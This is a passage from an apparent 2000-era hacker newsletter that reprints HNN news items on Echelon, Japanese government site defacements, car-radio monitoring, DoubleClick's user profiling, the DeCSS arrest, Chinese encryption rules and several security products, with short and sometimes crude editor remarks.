Sun has been working for over a year to offer Solaris under the Sun Community Source License but
was stymied by the fact that it didn't own all the intellectual property inside Solaris. SCSL is a quasi
open-source license that requires developers to return bug fixes to Sun, maintain compatibility and
pay fees to Sun when they ship binaries based on Sun source code.
It is unclear how Sun has resolved its intellectual property issues. But that isn't stopping the company
from working to get on the good side of the open-source community. Sun is sponsoring ApacheCon
2000, the first official conference of the Apache Software Foundation upcoming in March, and is
helping with the Apache Foundation's Jakarta and Java Apache projects.
@HWA
53.0 HNN: Jan 25: Documents Prove Echelon not a Journalist Fabrication
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Brian Oblivion
For years DoD officials have claimed that the global
eavesdropping network known as Echelon was nothing
more than a myth fabricated by journalists. Now
recently declassified papers by the NSA actually confirm
the existence of the operation.
The NSA Declassified
http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB23/index.html
(Go to the url theres a lot of material there - Ed)
@HWA
54.0 HNN: Jan 25: Japan Needs US Help With Defacements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
On Monday Japan's Science and Technology Agency and
Japan's Management and Coordination Agency had their
web sites defaced. This is con in the first-ever
defacement of a Japanese government computer
system. Japanese officials have said that they will be
seeking assistance from US officials in tracking down the
perpetrators.
Reuters - via Yahoo
http://dailynews.yahoo.com/h/nm/20000125/wr/japan_hackers_1.html
Tuesday January 25 12:44 AM ET
Japan Says to Seek U.S. Help to Deal With Hackers
TOKYO (Reuters) - Japan said on Tuesday it will seek help from the
United States in an investigation into hackers who penetrated two
government Web sites.
Computer systems at Japan's Science and Technology Agency were raided
on Monday and its homepage was replaced with derogatory messages insulting
the Japanese in the first-ever hacking of a Japanese government computer
system.
Agency officials declined to give details of the derogatory messages.
The homepage was also replaced with a direct access switch to adult
magazine web sites, agency officials said.
Several hours later, Japan's Management and Coordination Agency also
discovered a similar incident at its Web site.
Top government spokesman Mikio Aoki said the government would launch an
extensive investigation into the incident, including possible help from
Washington which was more advanced in dealing with hackers.
``The government must take all necessary measures including seeking help
from the United States,'' Aoki told a regular news conference.
An agency spokesman said it was not immediately clear whether the same
hacker was responsible for the two separate cases of infiltration.
@HWA
55.0 HNN: Jan 25: Car Radios Monitored by Marketers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Soon we'll have to wear implants in our penises so that condom manufacturers
can collect stats on how often their product is used for fucking. - Ed
From HNN http://www.hackernews.com/
contributed by Evil Wench
Originally developed as a means to gather real time
Radio ratings information, technology created by
Alabama based MobilTrak is now being used by
marketers. The road side devices hone in on emissions
from car radios to determine exactly what station they
are turned to. Now concert promoters are using the
technology to determine what station concert
attendees listen to as they park cars their cars when
attending concerts.
Wired
http://www.wired.com/news/technology/0,1282,33799,00.html
Your Ears Are Their Business
by Noah Shachtman
3:00 a.m. 25.Jan.2000 PST
Even in the car, there's no hiding from marketers' prying eyes -- and ears.
Companies like concert mega-promoter SFX Entertainment are using a new
device to find out what's being played on customers' radios as they pull
into venue parking lots. The information is supposed to help businesses
gauge the effectiveness of radio advertising campaigns.
But the system -- built by Alabama start-up Mobiltrak and installed at 13
SFX locations in Los Angeles, Phoenix, Atlanta, and elsewhere -- is coming
under fire from privacy experts.
"Nobody would think that they're being monitored in a parking lot. And
nobody would think that there's something of value in listening to a radio
station while they're in that parking lot," said Brooklyn Law School
professor Paul Schwartz. But there is something of value here, and
the people listening don't get any of that value. They're being polled
without knowing they're in a poll."
By contrast, when the local supermarket videotapes your weekly grocery
run, or Dell monitors your tech support call -- even when SFX tracks your
visit to its Web site -- the companies let you know you're being observed.
The major traditional measurement companies, like The Arbitron
Company and Nielsen Media Research pay a small stipend to the people they
survey.
Mobiltrak counters that such efforts aren't needed with their system.
Individual cars aren't being tracked, they argue, so there's no invasion
of an individual's privacy.
"We can't link to a particular automobile. It's just not technically
possible," claims Lucius Stone, Mobiltrak's director of sales and
marketing. "It's a high-volume, random sample. It can only measure one
radio at a time. And there's no way of telling which radio it is.
It's most analogous to a traffic counter."
The technology relies on a simple principle: Every FM radio is not only a
receiver, but a transmitter, too, emitting the same radio frequency (or
"RF") as the station to which it's tuned. That's why airlines ask
passengers to turn off their radios during takeoff and landing: to
prevent interference with pilots and air traffic controllers'
communications.
Mobiltrak picks up these RFs leaked from car radios' oscillators, and
counts what stations are being played.
Many in the privacy community fear that the temptation to use this
information to breach established bounds of discretion will be too great
for Mobiltrak to resist. "If it's merely aggregate information, not tied
to an individual, then it's not really a concern," says Jason
Catlett, president of consumer privacy group Junkbusters.
"But there's an economic incentive to get down to the individual level,
and a precedent for using the same technology to look at the individual
householder."
Like Mobiltrak, the British Broadcasting Company scrutinizes RF emissions.
By law, British residents must have licenses for the television sets they
own.
The BBC deploys vans equipped with oscillation detectors to residential
neighborhoods to enforce the law. The vans track which homes are equipped
with TV sets, and then checks again to make sure that the residents have
licenses for the TVs.
"TV license enforcement is the main reason that women end up in prison in
the UK," University of Cambridge cryptographer Ross Anderson wrote in an
email. "The detector vans operate during the day, so when they find an
unlicensed set and knock on the door, it's usually a woman who
answers. A fine of 1,000 pounds is imposed, and if she can't pay it she
goes to jail."
What's more, Anderson and his colleagues have shown that the U.S. National
Security Agency and others have long been able to use RF emissions to
reconstruct what's on a computer monitor.
But this invasive operation is a far cry from what Mobiltrak is doing, say
some media business insiders.
"I haven't met one person in the radio industry that's the least bit
concerned about this from a privacy standpoint, as it currently exists,"
reports Ron Rodrigues, editor-in-chief of the trade magazine Radio &
Records.
Still, Rodrigues acknowledges, "We seem to be in a period when disclosure
is becoming more important. With Mobiltrak, there may have to be some sort
of disclosure that people are being monitored, like radar on the
California highways."
Schwartz, the Brooklyn law professor, believes something more than
notification may be in order.
"We can collect all this information in new ways. But who should get the
benefits of this information?" he asks. "Is it like minerals on the deep
sea bed outside the continental shelf, exploitable for whoever can get to
it first? Or should we return some of the benefits in more direct
ways to the people who created it?"
@HWA
56.0 HNN: Jan 26:DoubleClick Admits to Profiling of Surfers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
Internet Advertising Agency Doubleclick, has started to
match up web surfing habits with actual names and
addresses, according to USA Today. DoubleClick's
recent acquisition of Abacus Direct Corp , a
direct-marketing services company that maintains a
database of names, addresses, telephone numbers and
retail purchasing habits of 90% of American households
has made this possible. By matching surfing habits with
actual names and addresses Doubleclick is better able
to target ads and offer 'personalized' service. The
Electronic Privacy Information Center plans to file a
complaint with the Federal Trade Commission by Feb.
16.
USA Today
http://www.usatoday.com/life/cyber/tech/cth211.htm
C|Net
http://news.cnet.com/news/0-1005-200-1531929.html?dtn.head
USA Today;
Activists charge DoubleClick double cross
Web users have lost privacy with the drop of a cookie, they say
By Will Rodger, USATODAY.com
Say goodbye to anonymity on the Web.
DoubleClick Inc., the Internet's largest advertising company, has begun
tracking Web users by name and address as they move from one Web site to
the next, USATODAY.com has learned.
The practice, known as profiling, gives
marketers the ability to know the
household, and in many cases the precise
identity, of the person visiting any one of
the 11,500 sites that use DoubleClick's
ad-tracking "cookies."
What made such profiling possible was
DoubleClick's purchase in June of Abacus
Direct Corp., a direct-marketing services
company that maintains a database of
names, addresses and retail purchasing
habits of 90% of American households.
With the help of its online partners,
DoubleClick can now correlate the Abacus
database of names with people's Internet
activities.
Company spokeswoman Jennifer Blum
said Tuesday that only about a dozen sites
are participating now. But she
acknowledged that DoubleClick would like
all its partner sites to participate.
DoubleClick defends the practice, insisting
that it allows better targeting of online ads
-- and thus makes consumers' online
experiences at once more relevant and
more profitable for advertisers. The
company calls it "personalization."
Consumer advocates have another term for it: privacy invasion.
After being informed of DoubleClick's actions, several privacy activists said
they would file a formal complaint with the Federal Trade Commission next
month.
"This is a blatant bait-and-switch trick," says Jason Catlett of Junkbusters Inc.,
an Internet-privacy consultancy. "For four years they have said (their
services) don’t identify you personally, and now they're admitting they are
going to identify you."
To tie Doubleclick's "anonymous" records of your surfing habits to its Abacus
database, it needs only the cooperation of another site that can identify you
positively.
Futuristic though that sounds, positive identification is actually simple.
DoubleClick need only tie your cookie to another one placed by a site that
ships you something through the mail, or one which requires registration.
To do that:
DoubleClick sends a cookie to your browser and gives it a unique ID
number.
Doubleclick sends the same ID number on to the site that knows who you
are.
That company then sends back the data that DoubleClick needs to look you
up in the Abacus database.
And voila -- DoubleClick knows who you are, too.
The combination of DoubleClick's cookie-derived information -- more than
100 million files -- with Abacus' database on the purchasing habits of 90
million households means the vast majority of Web-connected Americans will
likely lose their online anonymity, says David Banisar, deputy director of
Privacy International.
DoubleClick's Blum said she was not sure whether surfing habits tracked by
DoubleClick before Abacus data are merged will be included in future
profiles.
DoubleClick executives maintain they still give users who don't want to be
tracked a chance to opt out.
"That person will receive notice that their personal information is being
gathered," DoubleClick Senior Vice President and Abacus unit chief Jonathan
Shapiro says flatly.
Yet, that chance to opt out comes only in the form of a few lines of text
placed in the privacy policies of participating Web sites. Since those policies
are often buried two or three levels down, online consumers will seldom know
what is being done with their personal information in the first place, let alone
that they may opt out, activists say.
"That is not permission," Banisar says. "That is fraudulent on its face."
Catlett, Banisar and the Electronic Privacy Information Center plan to file a
complaint with the Federal Trade Commission by Feb. 16.
They say they will charge that DoubleClick has duped consumers by
suggesting the company's technology lets them remain anonymous. They
expect to enlist a wide array of consumer groups to back their position.
Further troubling to privacy advocates is DoubleClick's refusal to say which
Internet sites are furnishing them the registration rolls that DoubleClick needs
to link once-anonymous cookies to names, addresses, phone numbers and
catalog purchases.
"The fact that DoubleClick is not disclosing the names of the companies who
are feeding them consumers' names is a shameful hypocrisy," Catlett says.
"They are trying to protect the confidentiality of the violators of privacy."
Shapiro Tuesday bristled at Catlett's characterization. Any company that uses
data from the Abacus database to target Internet ads must disclose it online,
he says.
Moreover, he adds, DoubleClick itself would hand over to privacy advocates
the list of participating companies if it could. But as in many lines of business,
partners frown when their relationships are disclosed without their permission,
he says.
"If they all bought a billboard and said they work with us, that would be great,"
Shapiro says.
The controversy over DoubleClick began last summer, when the company
announced it was buying Abacus Direct in a deal valued at more than $1
billion.
Privacy experts had feared that DoubleClick would begin merging the two
databases at some point. But they say they were unaware that DoubleClick
had begun its profiling practice late last year.
Before its Abacus purchase, DoubleClick had made its money by targeting
banner advertisements in less direct ways.
DoubleClick ad-serving computers, for instance, check the Internet addresses
of people who visit participating sites. Thus, people in their homes may see
ads different from those seen by workers at General Motors, or a
machine-tool company in Ohio.
Every time viewers see or click on those banners, DoubleClick adds that fact
to individual dossiers it builds on them with the help of the cookies it drops on
users' hard drives.
Those dossiers, in turn, help DoubleClick target ads more precisely still,
increasing their relevance to consumers and reducing unnecessary repetition.
Those cookies remained anonymous to DoubleClick until now.
Being tracked as they move around the Web "doesn’t measure up to people's
expectation on the Net," says Robert Smith, publisher of the newsletter
Privacy Journal. "They don't think that their physical locations, their names
will be combined with what they do on the Internet. If they (DoubleClick)
want to do that they have to expose that plan to the public and have it
discussed."
-=-
CNET:
Privacy fears raised by DoubleClick database plans
By Courtney Macavinta
Staff Writer, CNET News.com
January 25, 2000, 8:10 p.m. PT
Having sealed its purchase of a direct marketing company, DoubleClick has
begun signing up sites to create a network that will tie Web surfers'
travels with their personal information and shopping habits--online and
off.
The leading Web advertising company plans to build a database of consumer
profiles that will include each user's "name, address, retail, catalog and
online purchase histories, and demographic data," according to the
company's new privacy policy. The database, which the company says
will only be seen by DoubleClick, is intended to help members of its
budding, U.S.-based Abacus Alliance perfect their target marketing.
The move comes a little over a month after New York-based DoubleClick
completed its $1.7 billion acquisition of Abacus Direct and in the wake of
the Federal Trade Commission's November probe on the growing trend of
online profiling. Privacy advocates, who
protested the deal from the start, have unsuccessfully tried to get the
FTC to review the implications of the merger because they say it means one
thing for consumers: less privacy.
Until recently, DoubleClick's policy was to not
correlate personal information with its 100 million
cookies, which are scattered worldwide. But the new
database will rely on the cookies, which the
company places on Net users' computers to record
surfing habits and display pertinent advertising.
Net users aren't informed when they are given a
DoubleClick cookie unless their browser is preset
to do so, but they can "opt out" through the
company's Web site.
The more than 11,500 sites that belong to
DoubleClick's network could feed into the new
database, which will correlate with the personal
information in Abacus' existing database of more
than 2 billion
consumer catalog transactions. The rollout was
first reported by USA Today.
DoubleClick says that not all of the sites using
its ad technology will join the alliance.
"They have to somehow have something to give to be
a member of this," said Jennifer Blum,
DoubleClick's spokeswoman.
The new database works like this: In the past, if a
person named Jane Doe had a DoubleClick cookie that
detected that she loved golf-related sites, the
company could show her ads for sports-related
content. But in the future, if the same surfer
gives personal information to a member of the
Abacus Alliance, DoubleClick will know a lot more
about her: that her name is Jane Doe, and that she
used to buy sweaters and pants via Company X's
catalog but hasn't done so for years. However, Jane
did buy a coat online last month. Now DoubleClick
can advise Company X to target Jane with Net ads
instead of sending her a catalog.
"Yes, of course this will be done," Blum said. "The goal here is to match
up the information."
DoubleClick says that the focus of the alliance is to eliminate junk mail
and to give consumers information about products they want. But privacy
advocates charge that the combined companies are finally acting on their
potential to create one of the most extensive consumer profiles
ever.
"Privacy advocates have been saying for years that marketers will turn the
Net into a gigantic data-gathering machine for junk mail, telemarketing
and advertising; now that machine is working," said Jason Catlett, founder
of Junkbusters, a clearinghouse for privacy-protection measures.
DoubleClick contends that before members of the Abacus Alliance put
information into the new database, they must inform consumers.
"Going forward, when a consumer puts in personal information to a Web site
that is a member of this alliance, they will be told that the information
will be shared with other parties," Blum said. "Consumers are given notice
and choice if they want to opt out."
Blum said that once companies join the alliance they also must give Net
users notice that their information is going to be shared--even if that
person has shared information with the Web site before.
But privacy watchdogs say an opt-out policy is not fair to consumers who
may not realize that when a company says their information is being shared
with a "third party," it's really the potentially enormous DoubleClick
database.
"DoubleClick is trying to characterize this as choice, but its practice is
based on opt out, not opt in," Catlett said. "We said this would happen--
behold it quietly has."
@HWA
57.0 HNN: Jan 26: Support for DeCSS Author Grows
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Gee the EFF is supporting this case? i'm amazed. - Ed
From HNN http://www.hackernews.com/
contributed by Jan and Zorro
Support for Jon Johansen, the 16 year old Norwegian
author being persecuted by the MPA, is growing.
Johansen and his father where arrested and their
computer equipment confiscated yesterday. They were
charged with violation of copyright laws.
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2427192,00.html?chkpt=zdnntop
C|Net
http://news.cnet.com/news/0-1005-200-1531192.html?tag=st.ne.ron.lthd.1005-200-1531192
Wired
http://www.wired.com/news/business/0,1367,33889,00.html
CNN
http://cnn.com/2000/TECH/ptech/01/25/dvd.charge/index.html
Aftenposten - English version
http://www.aftenposten.no/english/local/d121315.htm
Electronic Frontier Foundation
http://www.eff.org/IP/Video/DeCSS_prosecutions/Johansen_DeCSS_case/20000125_eff_johansen_case_pressrel.html
ZDNet;
--------------------------------------------------------------
This story was printed from ZDNN,
located at http://www.zdnet.com/zdnn.
--------------------------------------------------------------
DVD hacker arrested in Norway By Reuters January 25, 2000 11:30 AM PT URL:
http://www.zdnet.com/zdnn/stories/news/0,4586,2427192,00.html?chkpt=zdnnto
p
A Norwegian teenager has been charged with distributing a software program
that enables users to make unauthorized copies of DVD movies, police
said on Tuesday.
Jon Johansen is thought to have developed a program "that breaks the
entire copyright protection of the DVD (digital versatile disc)
system," said Inger Marie Sunde, a senior public prosecutor at Norway's
economic crime unit.
"He is charged with breaking intellectual property laws," said Sunde.
Johansen's father was also charged in the case, since the teen
posted the source code on a Web site owned by his father.
Johansen refuted the charges in a CNN Norway article, saying that he has
done nothing wrong. The 16-year-old student stressed that the
program he and others on the Internet created was only meant for playing
DVDs on computers running the Linux operating system.
Previously, when the movie industry contacted him and asked him to remove
the source code, he complied so as to avoid a lawsuit. Despite his
cooperation, the movie industry is suing anyway.
Major Hollywood studios, which use an encryption scheme on their DVDs to
prevent unauthorized copying, have already taken legal action
against three people in the United States who displayed Johansen's program
on their Web sites.
Computer equipment confiscated His program, known as DeCSS, is
thought to have been the first program posted to the Internet that
resulted from reverse engineering the DVD copy protection system.
Norwegian law firm Simonsen Musaeus said in a statement it had reported
Johansen and his father, Per Johansen, to the police earlier this
month on behalf of the Motion Picture Association (MPA), a lobby group for
seven major Hollywood studios.
Sunde told Reuters police had questioned Jon Johansen late on Monday,
searched his home and confiscated computer equipment.
"He is a suspect, and we found that there were reasonable grounds for a
search," she added.
Other sites reported that two computers, a cell phone and some CDs had
been taken by police. In addition, Johansen had to inform police of
all his passwords.
Simonsen Musaeus acts on behalf of U.S. license agency DVD Copy Control
Association and the MPA, which represents major Hollywood studios
such as Sony's Sony Pictures Entertainment Inc., Seagram Co. unit
Universal Studios Inc. and Warner Bros., a Time Warner Inc. (NYSE: TWX)
unit.
A U.S. district court in New York on Friday ordered three people to remove
Johansen's DeCSS program from their Web sites after the MPA filed a
complaint.
DVDs store sound and pictures digitally on an optical disc with a storage
capacity considerably
greater than that of a regular CD-ROM.
-=-
CNET;
Teen charged in connection with DVD cracking tool
By Courtney Macavinta
Staff Writer, CNET News.com
January 25, 2000, 5:00 p.m. PT
update Norwegian police questioned and charged a 16-year-old student who
sent the U.S. movie industry into a frenzy when he helped create a program
that breaks the encryption on DVDs that spread like wildfire on the Net.
In an interview today, Jon Johansen said that police raided his house
yesterday to collect evidence stemming from allegations that he violated
trade secrets to create a program called DeCSS, which cracks the security
code in the DVD Content Scrambling System. That, in turn, allows
people to view digital movies through unauthorized players, such as
computers running the Linux operating system.
Police seized several computers, a Nokia cellular phone and some CDs and
then charged Johansen with breaking security to gain unauthorized access
to data or software. He and his father, whose company's Web site was used
to post the program, also were charged with copyright infringement.
The son and father face two to three years in prison and fines if
convicted.
Johansen said that several people developed the program to allow users to
play DVDs on various PCs. The effort is described on OpenDVD.org.
"Our goal was to make it possible to watch DVDs under the Linux operating
system," Johansen wrote in an email.
In the wake of the release of DeCSS, the film industry has vigorously
tried to stamp out the program. The Motion Picture Association of America
(MPAA) filed a lawsuit in New York against individuals who allegedly
posted the program on their Web sites; the organization also is a
founder of the DVD Copy Control Association, which filed a similar lawsuit
in California.
The judges in both cases have issued preliminary injunctions prohibiting
the defendants from posting the code through the duration of the trials.
But Johansen argues that the MPAA has misled the public into believing
that his program allows people to more easily copy DVDs.
"The (motion picture industry) is claiming that their encryption was copy
protection," he said. "The encryption is in fact only playback protection,
which gives the movie industry a monopoly on who gets to make DVD
players."
The Electronic Frontier Foundation, which is defending the parties in both
cases, argues that people have a right to discuss the "the technical
insecurity of DVD" and demonstrate their points through reverse
engineering.
The DVD association was formed in December of last year by companies that
also are members of the MPAA, the Business Software Alliance and the
Electronic Industries Alliance to license out the DVD Content Scrambling
System.
-=-
Aftenposten;
(NO response from host at print time)
-=-
EFF;
FOR IMMEDIATE RELEASE January 25, 2000
Norwegian Teen Becomes Industry's Latest Test Case
Motion Picture Industry Continues Campaign Against Open Source Software
Community Over DVD Security
San Francisco -- The home of a Norwegian teenager was raided by the police
today acting at the behest of the motion picture industry intent on
suppressing discussion and distribution of DVD-viewing software developed
outside of industry's monopoly on such software. This action follows
closely three lawsuits filed by the industry in California, New York, and
Connecticut against numerous individuals and organizations including
coders, journalists, an ISP, and numerous Netizens.
"The motion picture industry is using its substantial resources to
intimidate the technical community into surrendering rights of free
expression and fair use of information," said Tara Lemmey, Executive
Director of the Electronic Frontier Foundation. "These actions are a
wake-up call for the technical community. The process of
reverse-engineering and public posting and commenting of code that the
MPAA is attempting to suppress is fundamental to the development of
commercial and open source software."
Sixteen-year-old Jon Johansen, who was among the first to post the DeCSS
program that allows users to view DVDs on computers not using Windows or
Macintosh operating systems, had his computer and cellular telephone
seized by police. Both he and his father were questioned at length
by the police and have been threatened with indictment for posting the
code, which the motion picture industry claims was illegally created.
According to several international legal experts contacted by EFF, the
industry is relying on untested legal theory in its case against Johansen.
With regard to the industry's use of Norwegian Criminal Code sect 145(2),
a provision making it illegal to "break a security arrangement" to
access data, experts agree that it is not clear whether it can apply to a
situation where someone breaks a security system to access material on a
device of which that person is the owner. The second charge of
contributory copyright infringement, as likely to be argued in this case,
has also not been before the Norwegian courts.
The actions being brought by the motion picture industry have attracted
the attention of the Global Internet Liberty Campaign (GILC), a coalition
of over 50 international civil liberties and human rights groups. "We
believe that intellectual property owners should not be allowed to
expand their property rights at the expense of free speech, legal
reverse-engineering of software programs for interoperability reasons, and
discussions of technical and scientific issues on the Internet," wrote
GILC members in a statement released last week. "DVD-CCA's lawsuit is in
direct conflict with United Nations human rights accords and the First
Amendment of the United States Constitution." (EFF is a GILC member.)
EFF will continue fighting the industry's attempts to censor Web sites
discussing DVD technology, including assisting Johansen and his family in
finding legal representation in Norway. All of these steps are part of
EFF's Campaign for Audiovisual Free Expression (CAFE), which it
launched last summer to address complex societal and legal issues raised
by new technological measures for protecting intellectual property rights.
For complete information on the MPAA and DVD-CCA cases, see:
http://www.eff.org/IP/Video
To learn more about EFF's Campaign for Audiovisual Free Expression, see:
http://www.eff.org/cafe
For information on the Global Internet Liberty Campaign, see:
http://www.gilc.org
The Electronic Frontier Foundation ( http://www.eff.org ) is a leading
global nonprofit organization linking technical architectures with legal
frameworks to support the rights of individuals in an open society.
Founded in 1990, EFF actively encourages and challenges
industry and government to support free expression, privacy, and openness
in the information society. EFF is a member-supported organization and
maintains one of the most-linked-to Web sites in the world.
[end]
@HWA
58.0 HNN: Jan 26: China To Require Crypto Registration
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
Starting next Monday Chinese government officials will
require that all businesses operating within China must
register the type of commercial encryption software
they use. The regulations also bar Chinese companies
from buying products containing foreign-designed
encryption software.
US National Newspaper - via Cryptome
http://cryptome.org/cn-crypto.htm
25 January 2000. Thanks to Anonymous.
Source: US national newspaper, January 25, 2000
Foreigners Must Disclose Internet Secrets to Beijing Soon
Encryption Rules For Firms Threaten Growth of the Web
By MATT FORNEY
BEIJING -- The Chinese government is about to require foreign firms to
reveal one of their deepest secrets -- the type of software used to
protect sensitive data transfers over the Internet.
By next Monday, foreign and Chinese companies must register the type of
commercial encryption software they use. Such software makes it more
difficult for hackers -- or governments -- to eavesdrop on electronic
messages. Eventually, the companies must provide details of
employees who use the software, making it easier for authorities to
monitor personal and commercial use of the Internet.
In addition, the regulations bar Chinese companies from buying products
containing foreign-designed encryption software. A strict interpretation
would include such products as Netscape browsers or Microsoft Outlook, as
well as the more complex equipment vital for conducting business
securely over the Internet.
The rules are the latest sign of Beijing's unease with the Internet, which
has been used by dissidents and members of the banned sect Falun Dafa to
communicate and spread information. Authorities have tried to block sites
and require users to register, but the number of users continues to
rise and now totals about nine million.
The new rules, however, could slow the Internet's groswth here. If
companies offering electronic business services worry that the Chinese
government is monitoring their transmissions, they could relocate outside
China's borders, where they wouldn't have to reveal the type of
encryption software they use.
"This is sending the wrong message to foreign investors," says Patrick
Powers director of China operations for the U.S.China Business Council,
who adds that "the foreign business community is deeply concerned."
So is the U.S. government, which recently approved the export of many
types of encryption software. Commerce Secretary William Daley plans to
raise the issue with senior Chinese officials this week in Switzerland
during the annual World Economic Forum.
China revealed the new regulations on Oct. 15, in an order published in
the Communist Party's flagship newspaper, the People's Daily. It demanded
that "foreign organizations or individuals using encryption products or
equipment containing encryption technology in China must apply" for
permission by Jan. 31. It exempted diplomatic missions.
After meeting that application deadline, foreign companies must fill out a
second round of paperwork. According to a copy of the forms, companies
must name employees who are using encryption software and give the
location of the computers they use, as well as their e-mail
addresses and telephone numbers.
The order adds that "no organization or individual can sell foreign
commercial encryption products."
If enforced, the regulations would certainly complicate the development of
the Internet in China. Most of the routers and servers that compose the
nerve center of China's networks come from foreign companies. and often
include encrypted software to ensure secure communications. The
rules could force delays in network construction as Chinese software
companies struggle to expand their encryption services.
"If IBM or Hewlett-Packard wants to sell an e-commerce Web server to
China, it might have to isolate which parts relate to security" and then
find Chinese companies to write the software, says Jay Hu, director of the
Beijing branch of the U.S. Information Technology Office, an
industry research group. "I don't think Chinese companies have that
ability." Neither International Business Machines Corp. nor Hewlett
Packard Co. would comment.
The encryption regulations could apply to just about anything that
transmits sensitive digital information, including cell phones, Internet
browsers and e-mail software. Microsoft's Outlook program uses low-level
encryption, and the company might have to seek Chinese partners to
design it anew. Alick Yan, a spokesman for Microsoft (China) Co., said
it's too early to gauge the potential impact.
The government has created a new agency to enforce the regulations, but it
isn't clear who controls the body. "We report to the State Council," which
is China's cabinet, explained director Yang Lingjun, who declined to
comment further. However many
foreign-company officials, speaking anonymously, say they're afraid the
organization is staffed by the Ministry of State Security, China's secret police.
@HWA
59.0 HNN: Jan 26: NEC Develops Network Encryption Technology
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
NEC Corp said on Wednesday it developed a new
encryption technology to protect data on the Internet
and other networks. The new technology,
Cipherunicorn-A, creates several false keys in addition
to the true encryption key, making it especially difficult
for potential intruders to crack.
Reuters - via Yahoo
Wednesday January 26, 5:43 am Eastern Time
NEC develops encryption technology for networks
TOKYO, Jan 26 (Reuters) - NEC Corp said on Wednesday it developed a new encryption
technology to prevent hackers from tapping into business-to-consumer exchanges on
the Internet and other networks.
The new technology, Cipherunicorn-A, creates several false keys in addition to the
true encryption key, making it especially difficult for potential intruders to crack,
NEC said.
The technology also features a dynamic encryption code that can use key lengths of
128, 192 or 256 bits, offering higher levels of security than conventional methods
with a fixed length of 128 bits, an NEC spokesman said.
The electronics maker aims to develop software utilising the new technology as soon
as possible, he said, although he gave no specific time frame.
Worries about Internet hackers were heightened in Japan this week after humiliating
raids on government Web sites, in which hackers linked one to a pornographic site
and attacked the nation's war record on another.
@HWA
60.0 HNN: Jan 26: UPS announces Worldtalk secure email.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
contributed by Evil Wench
From HNN http://www.hackernews.com/
UPS has announced the launch of Worldtalk, a product
aimed at securing corporate e-mail while in transit. It
also claims to block SPAM and Viruses. UPS is offering
companies up to $100,000 for business losses as part of
its customer assurance plan when using UPS Document
Exchange. (There is so much hype and marketing fluff
in this press release it is hard to pick out the facts. On
the surface this looks like nothing more than a glorified
SSL package.)
United Parcel Service
http://www.ups.com/bin/shownews.cgi?20000124badnews
Bad News for Hackers, Crackers
Worldtalk, UPS Combine Powerful Security Solutions to
Safeguard Critical Information
SANTA CLARA, Calif. and ATLANTA, Ga., Jan. 24, 2000 --
Worldtalk and UPS today announced the launch of a cutting edge
security product combining industry-leading solutions to protect critical
business information on a company's Web site or in transit via e-mail.
The new product, WorldSecure/Mail for UPS OnLine Courier,
integrates Worldtalk's award-winning WorldSecure products with UPS
Document Exchange for a lethal one-two punch against hackers or
crackers looking to gain access to confidential information on the Web.
Worldtalk's award-winning WorldSecure products, based on the
WorldSecure policy management platform, enable organizations to
define and enforce content security policies for e-mail and the Web.
Worldtalk's products provide organizations with the ability to reduce
corporate liability, secure intellectual property, guarantee confidentiality
of communications with trading partners and protect network
resources. WorldSecure/Mail ensures the confidentiality and privacy of
Internet communication, protects information assets, and blocks viruses
and SPAMs.
UPS Document Exchange guards sensitive information in transit
between one organization's server and another's. Armed with 128-bit
encryption on the server and optional password protection, UPS
Document Exchange offers secure, trackable electronic delivery of
anything that can be contained in a digital file, including documents,
images and software, along with definitive proof of delivery.
Combined, the two products allow an organization to establish criteria
by which specific types of sensitive documents or information can leave
its network only via UPS Document Exchange - and are automatically
converted into a secure UPS Document Exchange digital package
before sending. Meanwhile other, less sensitive information can still be
sent by conventional e-mail. Both companies will sell the integrated
solution.
As an added security measure, UPS is putting its money where its
mouth is by offering companies up to $100,000 for business losses as
part of its customer assurance plan when using UPS Document
Exchange.
Solutions that protect the security of sensitive documents become even
more important as businesses communicate more frequently over the
Internet. By the year 2001, 35 percent of business documents - 21
million per day - will move via the Internet, according to the Aberdeen
Group.
"With the combination of WorldSecure and UPS Document Exchange,
organizations can ensure their sensitive documents won't be floating
around unprotected in the wildly unsecure world of e-mail," said Kim
Marchner, Group Manager for UPS Document Exchange Marketing.
"An organization has the power to define which types of documents -
like prospectuses or confidential reports from its legal department - will
be required to carry the protection of Document Exchange when
leaving the server."
An important feature of UPS Document Exchange is its ease of use by
both sender and receiver. Unlike unwieldy encryption programs that
require the sender and recipient to have the same type of encryption
software, Document Exchange requires only that the sender have a
standard e-mail package, and the receiver have a standard Web
browser.
"Organizations want to leverage the economy, efficiency and ubiquity
of Internet e-mail," said Jim Heisch, President and CFO, Worldtalk.
"Solutions like WorldSecure/Mail and UPS Document Exchange allow
them to simply and efficiently define and enforce policies that ensure
the safe use of their e-mail systems."
UPS Document Exchange, launched in June 1998, is a secure Internet
communications service for business-to-business commerce based on
Tumbleweed Communication Corp.'s Integrated Messaging Exchange
(IME technology. Tumbleweed Integrated Messaging Exchange (IME)
is a set of products and services that leverage the Internet and existing
e-mail to create a secure, trackable online communications channel.
Thousands of businesses are currently using UPS Document Exchange
to securely move critical documents, images and software over the
'Net.
About Worldtalk
Worldtalk Corporation is a leading provider of policy enforcement
solutions for e-mail and Web communications. The company's
WorldSecure policy management platform complements existing
firewalls by enabling organizations to enforce usage policies for all
Internet e-mail and Web communications. Worldtalk delivered the
industry's first integrated solution for managing and enforcing e-mail
security policies in September 1997. Since then, organizations have
purchased WorldSecure solutions to ensure confidentiality of their
external e-mail communications, protect their intellectual property,
prevent SPAMs and viruses, and reduce the legal liabilities associated
